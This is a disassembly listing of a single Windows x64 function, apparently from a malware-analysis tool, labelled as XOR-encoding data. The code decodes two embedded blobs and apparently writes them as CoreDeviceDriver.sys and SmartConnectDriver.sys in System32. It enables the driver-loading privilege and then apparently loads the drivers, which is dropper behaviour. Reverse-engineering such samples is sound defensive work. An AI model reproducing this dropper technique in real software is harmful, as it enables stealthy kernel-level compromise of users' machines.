Function at 0x140050cf0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x3f8]
sub rsp, 0x4f0
mov rax, qword [0x14009e040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov qword [r11 + 8], rbx
mov ecx, 0x7d0
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400952d0]
xor r8d, r8d
movups xmm1, xmmword [0x1400952e0]
mov eax, dword [0x140095320]
mov ebx, dword [0x14009e010]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1400952f0]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140095310]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x140095300]
mov dword [rbp - 0x80], eax
movzx eax, word [0x140095324]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov word [rbp - 0x7c], ax
cmp ebx, 2
jl 0x140050eb1
movdqa xmm5, xmmword [0x1400956b0]
lea rcx, [rsp + 0x30]
movdqa xmm4, xmmword [0x140095a40]
movdqa xmm6, xmmword [0x140095730]
movdqa xmm7, xmmword [0x1400957b0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x140050dc0
cmp r8d, 0x2b
jge 0x140050ef6
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x35
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x2b
jl 0x140050ec0
mov r8d, 0x1d000
lea rdx, [0x1400e13e0]
lea rcx, [rsp + 0x30]
call fcn.140050c40
movups xmm0, xmmword [str.v_fkoPT_SJMc]
xor ecx, ecx
movups xmm1, xmmword [0x140095340]
cmp ebx, 2
movzx eax, word [0x140095380]
mov rbx, qword [rsp + 0x500]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x140095350]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140095370]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x140095360]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov word [rbp - 0x80], ax
jl 0x14005107c
movdqa xmm5, xmmword [0x1400956b0]
lea rdx, [rsp + 0x30]
movdqa xmm4, xmmword [0x140095a40]
movdqa xmm6, xmmword [0x140095730]
movdqa xmm7, xmmword [0x1400957b0]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x28
jl 0x140050f90
cmp ecx, 0x29
jge 0x1400510c2
movsxd rax, ecx
lea r8, [rsp + 0x30]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul edx, eax, 0x35
add dx, cx
inc ecx
xor word [r8 - 2], dx
cmp ecx, 0x29
jl 0x140051090
mov r8d, 0x6650
lea rdx, [0x1400dad90]
lea rcx, [rsp + 0x30]
call fcn.140050c40
lea r9, [rbp - 0x70]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
movaps xmm7, xmmword [rsp + 0x4d0]
movaps xmm6, xmmword [rsp + 0x4e0]
test eax, eax
js 0x140051180
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x1b0]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32CoreDeviceDriver.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140051180
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x60]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32SmartConnectDriver.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140051180
lea rdx, [rbp - 0x60]
lea rcx, [0x1400ff1f0]
call fcn.140050730
test eax, eax
js 0x140051180
lea rdx, [rbp + 0x1b0]
lea rcx, [0x1400ff400]
call fcn.140050730
test eax, eax
js 0x140051180
call fcn.1400508c0
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.140051210
add rsp, 0x4f0
pop rbp
ret